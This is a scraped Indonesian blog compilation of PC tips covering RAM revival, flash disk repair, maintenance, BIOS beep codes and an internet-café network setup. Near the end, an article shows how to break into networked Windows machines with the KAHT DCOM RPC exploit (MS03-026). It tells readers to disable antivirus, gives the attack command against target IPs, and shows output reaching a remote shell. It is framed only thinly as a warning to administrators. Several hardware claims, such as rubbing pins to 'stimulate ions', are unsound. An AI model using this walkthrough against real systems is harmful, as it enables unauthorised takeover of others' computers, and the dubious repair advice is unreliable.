program ini. Berkat<br />bantuan program kecil ini, kinerja dari "satpam" Microsoft Outlook Express menjadi lebih maksimal<br />dalam menjaga komputer Anda, dari virus atau worm yang menyerang dengan memanfaatkan<br />address book Microsoft Outlook express.<br />10. Menonaktifkan Windows Scripting Host.<br />Sebagaimana diketahui, banyak virus dan worm baru yang dikembangkan dengan visual basic<br />scripting di bawah sistem windows. Untuk memperkecil serangan, Anda sebaiknya menonaktifkan<br />program yang berfungsi untuk mengotomatisasi suatu fungsi. Namun demikian, perlu diingat bahwa<br />tidak semua virus berbahasa VBS dapat ditahan dengan menonaktifkan program ini.<br />Tips Memperbaiki Memori Komputer yg Mati<br />Memory atau yang kita kenal RAM adalah salah satu perangkat keras(Hardware yang sangat Fital<br />dalam CPU, maka itu ini salah satu tips dan pengalaman saya tentang menangani memory PC (SDRAM,<br />DDRAM) yang sudah anda anggap mati (asal tidak mengalami kerusakan fisik yang parah ,misalnya terbakar<br />atau hancur/patah), karena biasanya menurut yang saya lihat bila memory sudah di nyatakan mati oleh pemilik<br />PC atau oleh teknisi komputer maka biasanya langsung saja di ganti dengan membeli memory yang baru,<br />padahal masih ada kemungkinan memory tersebut di bikin hidup atau berfungsi lagi.<br />Berikut ini saya punya tips untuk menangani memory yang sudah di anggap mati tersebut berdasarkan<br />pengalaman selama menggeluti dunia hardware , dengan akurasi dia atas 70 %, jadi misalnya anda memiliki<br />10 keping memory mati maka ada kemungkinan 7 keping masih bisa di selamatkan…cukup lumayan kan.?<br />kita bisa menghemat uang beberapa ratus ribu utntuk perkepingnya.<br />1. Bersihkan memory tersebut dengan cara menggosok pin-pin memory tersebut dengan kain dengan<br />tujuan membersihkan, boleh juga di beri Tiner sedikit supaya lebih bersih dari debu, dan gesekan<br />dengan kain tersebut juga akan memancing ion-ion pada pin memory menjadi tersimulasi agar<br />konduktornya lebih aktif.<br />2. Arahkan skala Avometer pada Ohm (skala untuk mengukur hambatan), bebas boleh pada posisi 1K,<br />10K, 100K…<br />3. Ambil jarum negative (-) Avometer (kabel warna hitam) lalu tempelkan pada salah satu pin/kaki<br />memory, dan jarum positive (kabel warna merah) gesekan pada pada kumpulan kaki-kaki IC/chipset<br />- 31 -<br />memory ,bila memory memiliki 8 buah IC misalnya maka gesekan jarum (+) tersebut ke kaki-kaki 8<br />IC tersebut.<br />4. Selesai….silahkan coba pasang memory tersebut pada slotnya di Mainboard….!<br />Note:<br />Proses ini adalah memanfaatkan aliran arus listrik dari batere Avometer yang di alirkan ke dalam<br />sirkuit-sirkuit IC/Chipset memory . Cara kerja proses ini adalah seperti halnya proses Clear CMOS pada<br />Mainboard apabila Mainboard mengalami crash dan tidak mau hidup, yaitu terjadinya gangguan atau<br />penyumbatan pada perjalanan arus listrik sehingga arus yang diperlukan untuk untuk pengaktifan suatu<br />system tidak terpenuhi….atau seperti ilustrasi orang yang pingsan atau koma lalu kita coba bangunkan<br />dengan cara di pancing syaraf-syarafnya untuk aktif dan sadar dengan cara di siram air, di setrum..dsb.<br />Flash Disk Anda Rusak ? Tiba-tiba Mati ?<br />Pernah mengalami kejadian seperti ini:<br />Saat flash disk tertancap di komputer win XP, sedang dipakai namun tiba-tiba windows hank alias<br />frozen. Setelah komputer di booting paksa dan di hidupkan lagi, ternyata flash disk yang tertancap tadi mati.<br />Falsh disk tidak bisa bekerja lagi. Windows mendeteksi kapasitasnya 0 MB dan mengeluarkan pesan untuk<br />memformatnya. Dicoba untuk di format gagal juga. Akhirnya gak terpakai lagih Flashdisk”. Kalau memang<br />kasus seperti ini yang anda alami terhadap kerusakan flash disk anda. jangan khawatir kita masih bisa coba<br />untuk menyelamatkan dan menghidupkanya lagi. Berikut ini langkah-langkah untuk memperbaikinya:<br />Ø Softawre yang kita perlukan untuk keperluan ini adalah HP Drive Boot Utility (buatan HP<br />namun jangan khawatir ternyata bisa kita gunakan untuk merek yang lainya. Bahkan untuk<br />memory kamerajuga).<br />Ø Setelah di download, jalankan dan pilih drive untuk falsh disk yang akan diperbaiki.<br />Ø Pilih tipe format disk yang mau di gunakan (FAT, FAT32 atau NTFS)<br />Ø Pilih Quick Format<br />Ø Kemudian pilih start untuk memulainya.<br />Tips Merawat Komputer<br />Mungkin saat ini, computer menjadi suatu barang yang wajib dikenal and diketahui terutama oleh<br />- 32 -<br />kebanyakan mahasiswa. Memang tidak wajib, namun kita mengenal computer tentu saja akan membuat apa<br />yang kita kerjakan semakin mudah. Pun lebih dari itu, sekumpulan computer yang terhubung dalam jaringan<br />atau network dapat digunakan untuk berbagi sumberdaya dan informasi.Pertanyaan yang sering mucul<br />adalah, bagaimana kah cara yang bisa dilakukan tuntuk merawat computer..? karena tak jarang computer<br />yang kita miliki itu rusak baik itu karena terkena virus, adanya komponen dalam CPU computer yang rusak<br />ataupun crash nya instalasi yang kita lakukan pada computer.<br />Ada baiknya jika kita mengetahui bagaimana cara untuk merawat computer sehingga sebelum<br />computer itu rusak, kita sudah dengan susah sekuat tenaga untuk merawat computer kita namun kalo<br />memang sudah waktu nya rusak yam au gimana lagi, berikut ini penulis ingin membagikan beberapa tips<br />untuk merawat computer….so lets cek it now<br />1. Bersihkan motherboard & periferal lain(hardware) dari debu secara berkala. Untuk<br />membersihkannya dapat kiga gunakan kuas halus ukuran kecil dan sedang. Setidaknya dua<br />bulan sekali hal ini harus dilakukan. Buka casingnya terlebih dahulu kemudian bersihkan<br />motherboard dan periferal lain (RAM, Video Card, Modem, Sound Card,<br />CDR/CDRW/DVRW, TV Tuner) dengan sikat halus. Pada saat komputer tidak<br />digunakan tutuplah komputer (monitor, CPU, keyboard/mouse) dengan cover sehingga<br />debu tidak mudah masuk ke dalam komputer.<br />2. Uninstall atau buang program yang tidak berguna. Ruang harddisk yang terlalu banyak<br />tersita akan memperlambat proses read/write harddisk sehingga beban kerjanya akan lebih<br />berat sehingga harddisk akan cepat rusak. Biasanya akan muncul warning juga space<br />hardisk kita sudah penuh. System operasi windows sudah mendukung akan hal yang<br />seperti ini<br />3. Bersihkan Recycle Bin secara rutin. Sebenarnya file/folder yang kita hapus tidak langsung<br />hilang dari harddisk karena akan ditampung dahulu di Recycle Bin, namun ada beberapa<br />jenis setingan yang bisa kita gunakan antara lain memberikan peringatan saat menghapus,<br />hapus lalu simpan di tempat sementara atau hapus permanen. Untuk setingan yang hapus<br />lalu disimpan ditempat penampungan ini dengan maksud agar suatu saat apabila Anda<br />masih membutuhkannya dapat mengembalikan lagi. Recycle Bin yang sudah banyak juga<br />akan menyita ruang harddisk yang dapat menyebabkan pembacaan harddisk jadi lelet.<br />Caranya :<br />- 33 -<br />>> jalankan Windows Explorer<br />>> klik Recycle Bin<br />>> klik File<br />>> klik Empty Recyle Bin.<br />Atau Anda dapat menjalankan fungsi Disk Cleanup Caranya :<br />>> Klik Start<br />>> Program<br />>> Accessories<br />>> System Tool<br />>> Disk Cleanup<br />>> kemudian pilih drive yg mau dibersihkan<br />>> setelah itu centangilah opsi Recycle Bin kalau perlu centangi juga yg lain (seperti<br />temporary file, temporary internet file), setelah klik OK.<br />4. Install program antivirus dan update secara berkala. Untuk dapat mengenali virus/trojan2<br />baru sebaiknya update program antivirus secara berkala. Virus yang terlanjur menyebar di<br />komputer dapat membuat Anda menginstall ulang komputer. Hal ini selain membutuhkan<br />biaya juga akan menyebabkan harddisk Anda akan lebih cepat rusak dibanding apabila<br />tidak sering diinstall ulang. Ada baiknya kita menonaktifakan sistem restore yaitu dengan<br />cara klik kanan My Computer >> pilih System Restore >> lalu beri tanda centang pada<br />cek box dengan keretangan Turn off System Restore on all drive<br />5. Tutup / close program yg tidak berguna Setiap program yg diload atau dijalankan<br />membutuhkan memory (RAM) sehingga semakin banyak program yg dijalankan semakin<br />banyak memory yg tersita. Hal ini selain dapat menyebabkan komputer berjalan lambat<br />(lelet) juga beban kerja menjadi lebih berat yg akhirnya dapat memperpendek umur<br />komponen/komputer<br />6. Pakailah UPS atau stavolt.Pakailah UPS untuk mengantisipasi listrik mati secara tiba-tiba<br />yg dapat mengakibatkan kerusakan pada harddisk. Kalau terpaksa tidak ada UPS,<br />pakailah Stavolt untuk mengantisipasi naik turunnya tegangan listrik.<br />7. Aktifkan screensaver Selain bersifat estetis, screensaver mempunyai fungsi lain yg penting.<br />Monitor CRT juga televisi menggunakan fosfor untuk menampilkan gambar. Kalau monitor<br />menampilkan gambar yg sama untuk beberapa saat maka ada fosfor yang menyala terus<br />- 34 -<br />menerus. Hal ini dapat mengakibatkan monitor bermasalah yaitu gambar menjadi<br />redup/kurang jelas. Lain halnya jika monitor Anda adalah LCD, LED yg sudah dilengkapi<br />dengan energy saving, maka screensaver tidak terlalu dibutuhkan lagi.Cara+ mengaktifkan<br />screensaver dapat dilakukan dengan banyak cara, salah satunya<br />>> klik Start<br />>> Control Panel<br />>> Display<br />>> klik tab screensaver,<br />>> kemudian pilih sesuai selera Anda.<br />Defrag harddisk secara berkala. Fungsi defrag adalah untuk menata dan mengurutkan<br />file-file harddisk berdasarkan jenis file/data sedemikian rupa sehingga akan mempermudah<br />proses read/write sehingga beban kerja akan lebih ringan yg akhirnya dapat<br />memperpanjang umur harddisk. Caranya klik menu Start > Program > Accesories ><br />System Tool > Disk DefragmenterSaat menjalankan fungsi ini tidak boleh ada program lain<br />yg berjalan termasuk screensaver karena akan mengacaukan fungsi defrag ini. Untuk cara<br />ini dianjurkan tidak terlalu sering,mengapa….? Defrag adalah proses pengaturan file pada<br />hardisk. Untuk mengaturnya agar berada pada posisi track yang berdekatan maka<br />dilakukan gesekan untuk memindahkan. Defrag yang terlalu sering akan menyebabkan<br />kondisi piringan hardisk cepat rusak karena seringanya proses pengikisan.<br />8. Ventilasi yang cukup Tempatkan monitor maupun CPU sedemikian rupa sehingga ventilasi<br />udara dari dan ke monitor / CPU cukup lancar. Ventilasi yg kurang baik akan<br />menyebabkan panas berlebihan sehingga komponen/rangkaian elektronik di dalamnya<br />akan menjadi cepat panas sehingga dapat memperpendek umur komponen tsb. Oleh<br />karena itu usahakan jarak antara monitor/CPU dengan dinding/tembok minimal 30 cm.<br />Kalau perlu pasang kipas angin di dalam ruangan. Akan lebih baik lagi jika menggunakan<br />AC, hmm tambah dingin<br />9. Jangan meletakkan Speacker Active terlalu dekat dengan monitorKarena medan magnet<br />yang ada pada speacker tersebut akan mempengaruhi monitor yaitu warna monitor<br />menjadi tidak rata atau belang-belan<br />10. Pasang kabel ground. Apabila casing nyetrum, ambil kabel dengan panjang seperlunya,<br />- 35 -<br />ujung satu dihubungkan dengan badan CPU (pada casing) sedangkan ujung yg lain ditanam<br />dalam tanah. Hal ini akan dapat menetralkan arus listrik yg “nyasar” sehingga dapat<br />membuat komponen elektronik lebih awet.(diambil dari berbagai sumber)<br />MASALAH PADA MOTHER BOARD<br />Gejala<br />Setelah dihidupkan, tidak ada tampilan di monitor, lampu indikator (led) di panel depan menyala,<br />lampu indikator (led) monitor berkedip-kedip, kipas power supply dan kipas procesor berputar, tidak ada<br />suara beep di speaker.<br />Solusi<br />Langkah pertama lepas semua kabel power yang terhubung ke listrik, kabel data ke monitor, kabel<br />keyboad/mouse, dan semua kabel yang terhubung ke CPU, kemudian lepas semua sekrup penutup cashing.<br />Dalam keadaan casing terbuka silahkan anda lepaskan juga komponen-komponen lainnya, yaitu kabel<br />tegangan dari power supply yang terhubung ke Motherboard, harddisk, floppy, hati-hati dalam<br />pengerjaannya jangan terburu-buru. Begitu juga dengan Card yang menempel pada Mboard (VGA, Sound<br />atau Card lainnya). Sekarang yang menempel pada cashing hanya MotherBoard saja. Silahkan anda periksa<br />Motherboadnya dengan teliti, lihat Chip (IC), Elko, Transistor dan yang lainnya apakah ada yang terbakar.<br />Jika tidak ada tanda-tanda komponen yang terbakar kemungkinan Motherboard masih bagus, tapi ada<br />kalanya Mboard tidak jalan karena kerusakan pada program yang terdapat di BIOS<br />MASALAH PADA HARD DISK<br />Gejala<br />Pada saat CPU dinyalakan kemudian melakukan proses Post setelah itu proses tidak berlanjut dan<br />diam beberapa saat tidak langsung masuk ke operating system, dan kemudian di layar monitor ada pesan<br />“harddisk error, harddisk Failur, setelah itu muncul pesan “press F1 to continou” setelah kita menekan<br />- 36 -<br />tombol F1 tidak masuk Operating system dan muncul pesan “Operating system not found”.<br />Solusi :<br />Periksa kabel tegangan<br />Mengatasi Masalah Pada CD/DVD/ROM/RW<br />Gejala :<br />Jenis kerusakan yang biasa ditemui<br />1. Tidak terdeteksi di windows<br />2. Tidak bisa keluar masuk CD<br />3. Tidak bisa membaca/menulis/hanya bisa membaca saja. (CD)<br />4. Tidak bisa membaca/menulis/write protect (Floppy disk)<br />Solusi<br />Ø Periksa kabel data dan kabel tegangan yang masuk ke CD-floppy, perikas di setup bios apakah<br />sudah dideteksi? sebaiknya diset auto. Periksa apakah led menyala, jika tidak kerusakan di<br />Controllernya.<br />Ø Kerusakan adapada mekanik motor atau karetmotor.<br />Ø Kerusakan Biasanya pada optik, tetapi ada kemungkinan masih bisa diperbaiki dengan cara men-set<br />ualng optik tersebut.<br />Ø Head Kotor, bisa dibersihkan menggunakan Cutenbud<br />Masalah BIOS<br />Gejala<br />Hati-hati dalam Update Bios, ketika meng-Update anda keliru memilih versi Bios, PC jadi tidak jalan<br />bahkan anda tidak dapat masuk ke BIOS.<br />Solusi<br />Biasanya Update tidak dapat dibatalkan, hanya jenis Motherboard tertentu yang memiliki backup<br />BIOS pada Chip-nya, Disitu tersimpan jenis asli BIOS yang tidak dapat dihapus, untuk dapat merestore-nya<br />- 37 -<br />anda tinggal memindahkan Posisi Jumper khusus yang biasanya sudah ada petunjuk di buku manualnya.<br />Kemudian hidupka PC dan tunggu 10 detik, BIOS yang asli telah di Restore, kembalikan Posisi Jumper<br />pada posisi semula, dan PC siap dijalankan kembali. Jika Motherboard tidak memiliki pasilitas tersebut,<br />Chip BIOS harus dikirim ke Produsen, Jenis BIOS dapat anda lihat di buku manualnya. Berhati-hati dalam<br />pemasangannya jangan sampai kaki IC BIOS patah atau terbalik Posisinya.<br />Gejala<br />CPU mengeluarkan suara Beep beberapa kali di speakernya dan tidak ada tampilan ke layar<br />monitor, padahal monitor tidak bermasalah.<br />Solusi<br />Bunyi Beep menandakan adanya pesan kesalahan tertentu dari BIOS, Bunyi tersebut menunjukan jenis<br />kesalahan apa yang terjadi pada PC, Biasanya kesalahan pada Memory yang tdk terdeteksi, VGA Card,<br />yang tidak terpasang dengan baik, Processor bahkan kabel data Monitor pun bisa jadi<br />penyebabnya.Silahkan anda periksa masalah tersebut.<br />Pesan kesalahan BIOS. Bunyi kesalahan BIOS biasanya tidak semua Motherboard menandakan kesalahan<br />yang sama tergantung dari jenis BIOS nya.<br />AMI BIOS<br />Beep 1x :<br />RAM/Memory tidak terpasang dengan Baik atau Rusak, Beep 6x : Kesalahan Gate A20 - Menunjukan<br />Keyboard yang rusak atau IC Gate A20-nya sendiri, Beep 8x : Grapihic Card / VGA Card tidak terpasang<br />dengan baik atau Rusak, Beep 11x : Checksum Error, periksa Batre Bios, dan ganti dengan yang baru.<br />AWARD BIOS<br />Beep 1x Panjang :<br />RAM/Memory tidak terpasang dengan Baik atau Rusak, Beep 1x Panjang 2x Pendek : Kerusakan Pada<br />Graphic Card (VGA), Periksa bisa juga Pemasangan pada slotnya tidak pas (kurang masuk), Beep 1x<br />Panjang 3x Pendek : Keyboard rusak atau tidak terpasang. Beep Tidak terputus / bunyi terus menerus :<br />- 38 -<br />RAM atau Graphic Card tidak terdeteksi.<br />Pheonix BIOS<br />1. 1 BEEP, 1 BEEP dan 4 BEEP<br />Disebabkan BIOS anda tidak berfungsi. Boleh update atau flash BIOS.<br />2. 1 BEEP, 2 BEEP dan 1 BEEP<br />Disebabkan motherboard anda yang sudah rosak.<br />3. 1 BEEP, 3 BEEP dan 1 BEEP<br />RAM anda mungkin bermasalah atau tidak dipasang dengan betul.<br />4. 3 BEEP, 1 BEEP dan 1 BEEP<br />Adalah disebabkan masalah motherboard computer anda.<br />5. 3 BEEP, 3 BEEP dan 4 BEEP<br />VGA kad atau graphic anda bermasalah atau tidak dipasang dengan betul.<br />Batrey CMOS Rusak / Lemah<br />Gejala<br />Muncul Pesan CMOS Checksum Vailure / Batrey Low, diakibatkan tegangna yang men-supply IC<br />CMOS/BIOS tidak normal dikarenakan batrey lemah, sehingga settingan BIOS kembali ke<br />Default-nya/setingan standar pabrik, dan konfigurasi Hardware harus di Set ulang.<br />Solusi<br />Segera Ganti Batreynya<br />MASALAH SYSTEM CPU<br />Gejala : CPU yang sering Hang???<br />Solusi :<br />Ada beberapa faktor terjadi hanging diantaranya : Ada BadSector di Harddisk, Ada Virus, Ada masalah di<br />- 39 -<br />Hardware seperti Memory Kotor/Rusak, MBoard Kotor/Rusak, Cooling Fan perputaran fan nya sudah<br />lemah, Power Supply tidak stabil…..sebaiknya jangan dipaksakan untuk digunakan karena akan berakibat<br />lebih fatal, silahkan hub: kami untuk dapat mengatasi masalah tersebut<br />Gejala<br />Komputer sering tampil blue screen apa penyebabnya?<br />Solusi<br />Pesan Blue Screen bisa disebabkan system windows ada yang rusak, Bisa dari Memory, Bisa dari hardisk,<br />bisa dari komponen lainnya, tergantung pesan blue screen yang ditampilkan.<br />Gejala<br />Komputer jadi lebih lambat dari sebelumnya, padahal awalnya tidak begitu lambat<br />Solusi<br />Penyebab komputer anda prosesnya lambat ada beberapa faktor yaitu : Space hardisk terlalu penuh, terlalu<br />banyak program / software yang memakan space harddisk dan memory, ada virus ,harddisk badsector.<br />Cara membobol Password Windows yang terkoneksi Internet<br />Artikel ini bukan bertujuan untuk mengajari pembaca untuk berbuat jahat dengan cara membobol<br />password komputer orang lain, tapi hanya sekedar mengingatkan kepada anda terutama bagi<br />administrator jaringan atau pengguna komputer yang terkoneksi ke jaringan agar berhati-hati dan<br />selalu waspada bahwa password /komputer anda mudah di bobol dan diambil alih oleh orang lain.<br />kali ini penulis menggunakan metode explosits port 135 (DCOMRPC) dimana semenjak adanya issue<br />virus W32 Welcia K yang menyerang port 135, yang dalam hal ini diakui oleh pihak microsoft (Baca<br />Microsoft Security Bulletin MS03-026). target dari worm ini adalah pc yang menggunakan IIS 5.0<br />seperti windows 2000 /XP.<br />Untuk mempersingkat bagaimana caranya kita membobol password di windows kita menggunakan<br />Tools Kaht bisa anda download disini.<br />Karena proses ini menggunakan worm sebaiknya anda mendisable antivirus anda.<br />Langkahnya:<br />1. Unzip file Kaht.zip<br />2. Letakkan pada direktori yang anda suka.<br />3. Masuk ke direktori tempat file berada melalui text mode<br />- 40 -<br />4. Tentukan sasaran pc yang akan di hacking missal<br />IP : 192.168.30.3<br />Kaht 192.168.30.1 192.168.30.3<br />Jika hacking anda berhasil akan tampil pada command line kira-kira sbb:<br />--------------------------------------------------------------------------------<br />KAHT II - MASSIVE RPC EXPLOIT dst<br />--------------------------------------------------------------------------------<br />[+] Target: 192.168.30.1-192.168.30.3 with 50 Treads<br />[+] Attacking Port:135. Remote Shell at port:36388<br />[+] Scan In Progress......<br />- Connecting to 192.168.30.3<br />Sending Exploit to a [Win2k] Server<br />- Connectando con la Shell Remote<br />dst........<br />C:WINNTsystem32><br />Berarti anda sudah masuk ke komputer yang anda hack dan komputer sepenuhnya sudah anda<br />kuasai. anda bisa membuat user admin membuat sharing dll<br />Sekali lagi artikel ini sekedar mengingatkan kepada anda berhatihatilah dalam mengelola komputer<br />anda terutama Administator jaringan<br />sumberblog cendana comunityhttp://www.blogger.com/profile/08229217619025735389noreply@blogger.com0tag:blogger.com,1999:blog-8425775013310331176.post-5422742527226523752010-04-22T17:49:00.000-07:002010-04-22T17:53:29.259-07:00Setting Jaringan Warnet Berbasis Windows XP dan ADSL Modem (pada Speedy)Kemampuan untuk melakukan Instalasi dan setting untuk sebuah Warung Internet (Warnet) selama ini dianggap hanya dimiliki oleh mereka yang sudah lama berkecimpung didunia IT Administrator. Dengan mematok biaya yang cukup lumayan mereka bersedia membantu kita dalam membangun sebuah Warnet yang hendaknya akan kita gunakan sebagai Unit Produksi. Ketidaktahuan tentang bagaimana sebuah sistem jaringan dapat berjalan lancar adalah alasan utama kita untuk terus menggunakan tenaga mereka. Berangkat dari keadaan tersebut maka saya menuliskan panduan ini. Sengaja dibuat dengan menampilkan langkah demi langkah agar dapat dimengerti dan dipahami bahkan oleh seorang yang sama sekali belum mengenal jaringan.<span></span> <p><span id="more-40"></span></p> <p>Pada panduan ini akan dibahas instalasi dan setting untuk sebuah warnet yang memiliki 1 server & 12 client seperti terlihat pada gambar di bawah ini:</p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-1.jpg" title="gbr-1.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-1.jpg?w=434&h=216&h=216" alt="gbr-1.jpg" height="216" width="434" /></a></p> <p>Persiapan Hardware & Software<br />Hendaknya sebelum kita melaksanakan instalasi jaringan, terlebih dahulu kita mempersiapkan Hardware & software yang akan tersambung di dalam lingkup jaringan tersebut. Beberapa langkah persiapan yang diperlukan adalah :<br />1. PC Server, spesifikasi minimal yang disarankan :<br />a. Hardware :</p> <ul><li> MotherBoard : Kecepatan setara 3.00 Ghz untuk dual Core</li><li> Ram : 1 Ghz</li><li> Harddisk : 160 GB</li><li> NIC / LAN Card : 10/100 Mbps</li><li> Drive : DVD / CD Writer</li><li> Spesifikasi lain : Optional</li></ul> <p>b. Software :</p> <ul><li> Windows XP SP2</li><li> Bandwith Controller / Manager</li><li> Billing System, dll</li><li> Anti Virus</li><li> Firewall</li><li> Anti Spyware, Malware, Adware</li></ul> <p>2. PC Client<br />a. Hardware :</p> <ul><li> MotherBoard : Kesepatan setara 2.80 Ghz</li><li> Ram : 512 MB</li><li> Harddisk : 40 Ghz</li><li> VGA Card : Optional untuk Game</li></ul> <p>b. Software :</p> <ul><li> Windows XP SP2</li><li> Browsing Tools :</li></ul> <p>1. Internet Explorer<br />2. Mozilla FireFox (Free)<br />3. Opera</p> <ul><li> Chatting Tools :</li></ul> <p>1. Yahoo Messenger (Free)<br />2. MSN Live Messenger<br />3. MiRC<br />4. ICQ</p> <ul><li> Game Online, Example:</li></ul> <p>1. Warcraft III<br />2. Ragnarok Online<br />3. Diablo II, dsb</p> <ul><li> Adobe Reader (Free)</li><li> WinZip</li><li> WinRar</li><li> Anti Virus (AVG Free Recommended)</li><li> Winamp (Free)</li><li> ACD See (Optional)</li><li> Microsoft Office (Optional)</li><li> Billing System, dsb</li></ul> <p>Sistem Operasi Window$ memang sangat mahal, untuk itu kita bisa mensiasatinya dengan membeli CPU second Built-up dari luar negeri yang masih bagus. Biasanya selain kualitasnya lebih tinggi dari pada CPU rakitan, CPU Built-up dari luar negeri juga sudah dilengkapi dengan, Sistem Operasi Standar Windows.</p> <p>3. Hub / Switch / Router<br />Merupakan alat yang digunakan untuk membagi koneksi internet dari PC server ke PC<br />Client. Pilihan antara Hub / Switch / Router ditentukan oleh kemampuan koneksi yang<br />ingin dihasilkan, dan tentu saja di sesuaikan dengan dana yang tersedia. Pada studi<br />kasus kita kali ini saya akan menggunakan Switch sebagai pembagi koneksi internet.<br />4. Modem<br />Modem adalah sebuah device yang digunakan sebagai penghubung dari sebuah PC atau<br />jaringan ke Penyedia Layanan Internet (Internet Service Provider / ISP). Penggunaan<br />Modem yang akan di bahas kali ini adalah modem jenis ADSL. Modem jenis ini<br />biasanya digunakan oleh ISP Telkomspeedy. Untuk jenis modem ADSL itu sendiri bisa<br />dipilih berdasarkan kebutuhan. Kali ini penulis mengambil contoh ADSL LynkSys AM<br />300 yang hanya mempunyai 1 (satu) port saja sebagai Dialup Device.</p> <p><b>Setting Modem ADSL Eksternal</b><br />Berikut adalah langkah yang harus dilakukan untuk memastikan PC Server terhubung ke<br />internet :<br />1) Buka Internet Explorer anda dan ketikan alamat berikut : 192.168.1.1 (biasanya adalah<br />alamat IP default bagi Modem).<br />2) Setelah muncul jendela login isikan username: admin Password: admin, atau sesuai<br />dengan user guide yang terdapat pada saat pembelian Modem.<br />3) Isikan sesuai dengan yang tertera pada gambar berikut, kecuali user name dan password yang masing-masing berbeda sesuai dengan yang didapat dari ISP.<br />4) Pengisian selanjutnya adalah untuk mengijinkan DHCP Server enable/disable,<br />sebaiknya dipilih Option Enable agar kita tidak direpotkan dengan urusan menyetel satu<br />demi satu IP Client. Karena fasilitas ini mempunyai kemampuan untuk mensetting IP<br />Client secara otomatis.<br />5) Untuk pengisian Time Zone dilakukan sesuai dengan domisili anda tinggal. Dan untuk<br />time server settingan yang tertera pada gambar adalah settingan yang saya<br />rekomendasikan.<br />6) Jika kita ingin mengganti modem username & password kita dipersilahkan untuk<br />melalukannya pada option berikut :<br />7) Status Koneksi kita bisa kita pantau pada tabs status (gambar), sebetulnya alamat IP<br />kita tertera pada bagian bawah layar. Tidak saya tampilkan dengan alasan keamanan.<br /><img src="http://oasisnet.wordpress.com/wp-includes/images/smilies/icon_cool.gif" alt="8)" class="wp-smiley" /> Setelah semua tersetting dengan baik langkah pengujian yang bisa kita lakukan adalah<br />dengan membuka Internet Explorer kita, lalu masuk ke salah satu alamat WEB yang<br />mudah diloading. Contoh : <i>Http://www.google.co.id/</i> lalu untuk pengetesan kecepatan<br />bisa dilakukan melalui beberapa situs yang menyediakan layanan pengukuran<br />Bandwith, contoh: <i>http://www.sijiwae.net/speedtest/ </i>.</p> <p>Sinkronisasi<br />Setelah hubungan antara PC server dan koneksi internet dapat berjalan lancar langkah<br />selanjutnya adalah sinkronisasi. Agar semua komputer dapat tersinkronisasi secara benar, berikut adalah langkah-langkah yang harus dilakukan :<br />1) Sinkronisasi Nama Komputer / PC dan Nama Work Group dilakukan dengan cara<br />sebagai berikut :<br />a. Menampilkan Task Control System</p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-5.jpg" title="gbr-5.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-5.jpg?w=468" alt="gbr-5.jpg" /></a></p> <p>b. Pada Tab Computer Name klik Change untuk mengubah nama komputer dan<br />nama WorkGroup. Nama komputer sebaiknya diurutkan sesuai dengan nomor<br />Clientnya untuk memudahkan kita mengingat masing-masing nama komputer,<br />nama masing-masing PC tidak boleh sama. Namun untuk nama Workgroup<br />harus lah dibuat sama untuk semua Client dan juga Server.</p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-6.jpg" title="gbr-6.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-6.jpg?w=435&h=348" alt="gbr-6.jpg" height="348" width="435" /></a></p> <p>c. Setelah nama PC kita ganti langkah selanjutnya adalah mengganti Network ID<br />dengan cara mengeklik Tab Network ID pada task Control System tadi.<br />i. Pada pertanyaan How Do You Use This Computer pilihlah option This Computer is part of a business network, kemudian Klik Next.</p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-7.jpg" title="gbr-7.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-7.jpg?w=374&h=156" alt="gbr-7.jpg" height="156" width="374" /></a></p> <p>ii. Pada Option selanjutnya pilihlah Network without a Domain.</p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-8.jpg" title="gbr-8.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-8.jpg?w=400&h=161" alt="gbr-8.jpg" height="161" width="400" /></a></p> <p>iii. Selanjutnya isikan nama WorkGroup sesuai dengan nama WorkGorup yang kita isikan pada waktu mengganti nama PC pada langkah (b) tadi.</p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-91.jpg" title="gbr-91.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-91.jpg?w=428&h=195" alt="gbr-91.jpg" height="195" width="428" /></a></p> <p>iv. Selanjutnya Klik Next dan kemudian Finish. Tunggu beberapa saat hingga komputer selesai melakukan pergantian Network ID dan lakukan restrat System Operasi / Reboot.</p> <p>2) Sinkronisasi Waktu / Jam dilakukan dengan menempuh langkah sebagai berikut:<br />a. Double klik tampilan jam yang ada pada sudut kiri bawah desktop anda.<br />b. Pilihlah tabs Internet Time => Update Now</p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-10.jpg" title="gbr-10.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-10.jpg?w=407&h=251" alt="gbr-10.jpg" height="251" width="407" /></a></p> <p>c. Tunggu beberapa saat hingga terdapat statement berikut : The time has ben<br />succesfully Synchronized.<br />d. Jika yang tampil adalah statement error, maka ulangi klik Update Now hingga<br />berhasil menyamakan waktu PC anda dengan server Windows.<br />e. Jika Update berhasil, namun jam yang ditampilkan tidak sama, maka kesalahan<br />mungkin terjadi pada Time Zone untuk wilayah WIB wilayah waktunya adalah<br />GMT + 07.00 Bangkok, Hanoi, Jakarta sedangkan untuk WITA adalah<br />GMT+08.00 Perth dan WIT dengan GMT + 09.00 Seoul.</p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-11.jpg" title="gbr-11.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-11.jpg?w=372&h=118" alt="gbr-11.jpg" height="118" width="372" /></a></p> <p><b>Internet Connection Sharing (ICS)</b><br />Sampai dengan tahap ini PC yang terkoneksi keinternet hanyalan PC server saja. Untuk<br />memberikan akses bagi PC client agar mempunyai akses ke internet kita perlu mengaktifkan Internet Connection Sharing yang kita miliki pada PC server. Langkah-langkahnya adalah sebagai berikut :</p> <p>1) Buka Jendela Network Connection yang terdapat pada Control Panel. Lalu klik kanan<br />pada Koneksi aktif kita ke internet => pilih Properties.</p> <p><a href="http://oasisnet.files.wordpress.com/2007/07/gbr-12.jpg" title="gbr-12.jpg"><img src="http://oasisnet.files.wordpress.com/2007/07/gbr-12.jpg?w=527&h=447" alt="gbr-12.jpg" height="447" width="527" /></a></p> 